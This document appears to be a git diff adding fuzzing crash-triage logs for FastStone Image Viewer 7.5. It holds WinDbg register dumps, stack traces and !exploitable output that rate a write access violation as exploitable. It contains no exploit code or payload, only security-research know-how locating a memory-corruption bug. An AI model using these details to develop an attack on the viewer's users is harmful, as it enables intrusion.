00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(19e8.18d8): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=00000021 ebx=00008000 ecx=00000008 edx=12cadf80 esi=0bc788ad edi=12cadf9d +eip=00402d7d esp=0019f8e4 ebp=0019f94c iopl=0 nv dn ei pl nz na po nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210602 +image00000000_00400000+0x2d7d: +00402d7d f3a5 rep movs dword ptr es:[edi],dword ptr [esi] +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:005901bd fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.755120800610796640000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 1.531839279422802959510e-0003 +image00000000_00400000+0x2d7d: +00402d7d f3a5 rep movs dword ptr es:[edi],dword ptr [esi] +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=2.64815e+017 -7.81995e+030 0.0759724 0.0192409 +image00000000_00400000+0x2d7d: +00402d7d f3a5 rep movs dword ptr es:[edi],dword ptr [esi] + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 006017e8 00000000 0019f9b8 00000000 image00000000_00400000+0x2d7d +0019f9c4 005ff973 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x2017e8 +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff973 +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08008130 07f85930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003d9000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003d9000 3dbce464 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ad 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003d9000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x12cadf9d +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05711968 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x2d7d +STACK_FRAME:image00000000_00400000+0x2017e8 +STACK_FRAME:image00000000_00400000+0x1ff973 +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x0000000000402d7d +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:EXPLOITABLE +BUG_TITLE:Exploitable - User Mode Write AV starting at image00000000_00400000+0x0000000000002d7d (Hash=0x67613208.0x05711968) +EXPLANATION:User mode write access violations that are not near NULL are exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x05711968/16450/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x05711968/16450/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..94b54c3 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x05711968/16450/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x19E8: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x19E8: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(19e8.18d8): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=00000021 ebx=00008000 ecx=00000008 edx=12cadf80 esi=0bc788ad edi=12cadf9d +eip=00402d7d esp=0019f8e4 ebp=0019f94c iopl=0 nv dn ei pl nz na po nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210602 +image00000000_00400000+0x2d7d: +00402d7d f3a5 rep movs dword ptr es:[edi],dword ptr [esi] +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:005901bd fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.755120800610796640000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 1.531839279422802959510e-0003 +image00000000_00400000+0x2d7d: +00402d7d f3a5 rep movs dword ptr es:[edi],dword ptr [esi] +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=2.64815e+017 -7.81995e+030 0.0759724 0.0192409 +image00000000_00400000+0x2d7d: +00402d7d f3a5 rep movs dword ptr es:[edi],dword ptr [esi] + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 006017e8 00000000 0019f9b8 00000000 image00000000_00400000+0x2d7d +0019f9c4 005ff973 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x2017e8 +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff973 +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08008130 07f85930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003d9000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003d9000 3dbce464 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ad 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003d9000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x12cadf9d +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05711968 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x2d7d +STACK_FRAME:image00000000_00400000+0x2017e8 +STACK_FRAME:image00000000_00400000+0x1ff973 +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x0000000000402d7d +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:EXPLOITABLE +BUG_TITLE:Exploitable - User Mode Write AV starting at image00000000_00400000+0x0000000000002d7d (Hash=0x67613208.0x05711968) +EXPLANATION:User mode write access violations that are not near NULL are exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x05711968/16450/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x05711968/16450/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..1ab7bae Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x05711968/16450/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/10624/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/10624/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..1153de7 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/10624/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000011593f7c \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/10624/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/10624/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..4152816 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/10624/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/10624/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/10624/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..04da651 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/10624/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1694: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1694: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1694.1d68): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=00000001 ebx=00008000 ecx=00000001 edx=0fd4bf7c esi=07fac2b8 edi=0fd4bf7c +eip=00402d8a esp=0019f8e4 ebp=0019f94c iopl=0 nv dn ei pl nz na po nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210602 +image00000000_00400000+0x2d8a: +00402d8a f3a4 rep movs byte ptr es:[edi],byte ptr [esi] +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:005901bd fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.743861801539748960000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 1.530737203036982610860e-0003 +image00000000_00400000+0x2d8a: +00402d8a f3a4 rep movs byte ptr es:[edi],byte ptr [esi] +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-3.48991e+011 5.19701e+006 1.77155e-024 2.94675e+010 +image00000000_00400000+0x2d8a: +00402d8a f3a4 rep movs byte ptr es:[edi],byte ptr [esi] + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 006017e8 00000000 0019f9b8 00000000 image00000000_00400000+0x2d8a +0019f9c4 005ff973 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x2017e8 +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff973 +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 